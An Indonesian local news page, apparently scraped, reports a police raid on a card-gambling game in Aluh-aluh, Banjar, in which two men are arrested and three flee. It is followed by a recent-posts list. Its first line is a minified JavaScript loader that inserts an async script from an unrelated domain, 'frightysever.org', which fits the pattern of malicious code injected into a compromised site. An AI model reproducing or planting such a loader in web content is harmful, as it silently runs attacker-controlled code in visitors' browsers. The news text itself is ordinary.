(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Asik Bermain Judi Kartu, 2 Orang Diciduk 3 Lainnya Berhasil Kabur


BANJARBARU, Satuan Reserse Kriminal (Reskrim) Polsek Aluh-aluh menangkap 2 orang pelaku judi remi dan domino di Desa Simpang Pipih, Kecamatan Aluh-aluh Kabupaten Banjar, Sabtu (21/4) malam. Adalah G (30), warga desa Simpang Pipih RT 7 Kecamatan Aluh-aluh dan S (41), warga desa Aluh-aluh Besar RT 6 Kecamatan Aluh-aluh.

Menurut Kasubbag Humas Polres Banjarbaru AKP Siti Rohayati, penangkapan tersebut bermula dari pengaduan masyarakat tentang adanya perjudian dengan menggunakan kartu remi dan domino di desa Simpang Pipih. Mendapati pengaduan tersebut, petugas yang sedang melakukan patroli dan langsung melakukan penyelidikan di lokasi tersebut dan didapati fakta bahwa benar di lokasi tersebut sering dipakai untuk bermain judi.

“Setelah melakukan penyelidikan, diketahui ada fakta tentang seringnya dilakukan perjudian di lokasi tersebut,” terang Kasubbag Humas.

Setelah melakukan penyelidikan dan dipastikan kebenaran informasi tersebut, selanjutnya anggota langsung melakukan penggerebekan. Saat di lakukan penggerebekan didapati ada sekitar 5 orang laki-laki disana sedang bermain judi. Waktu pelaku ingin ditangkap, 3 orang pelaku langsung melarikan diri dengan cara mendobrak dinding rumah yang terbuat dari kayu melewati persawahan.

“Sewaktu melakukan penangkapan 3 orang pelaku kabur dengan cara mendobrak ke dinding sehingga berlobang dan langsung melarikan diri ke persawahan, pelaku yang berhasil ditangkap ada 2 orang,” ucap AKP Siti Rohayati Kasubbag Humas Polres Banjarbaru.

Turut diamankan barang bukti berupa uang tunai sebesar Rp 482.000, 3 buah handphone, 3 set kartu remi, 5 set kartu domino dan 2 buah dompet warna hitam.

“Untuk pelaku beserta barang bukti diamankan ke Mapolres Banjarbaru guna proses hukum lebih lanjut,” imbuh Kasubbag Humas.

Sementara itu, Kapolres Banjarbaru AKBP Kelana Jaya, dua pelaku perjudian jenis kartu remi dan domini kedua pelaku oleh penyidik dijerat dengan pasal 303 KUHP dengan ancaman hukuman 4 tahun penjara dan denda maksimal 10 juta rupiah.

Kepada masyarakat, Kapolres Banjarbaru AKBP Kelana Jaya menegaskan, Polres Banjarbaru berkomitmen akan memberantas segala bentuk perjudian serta penyakit masyarakat lainnya.

“Berikan informasi kepada Polisi, kami akan memberantasnya,” tegas Kapolres. (rico)

Reporter : Rico
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.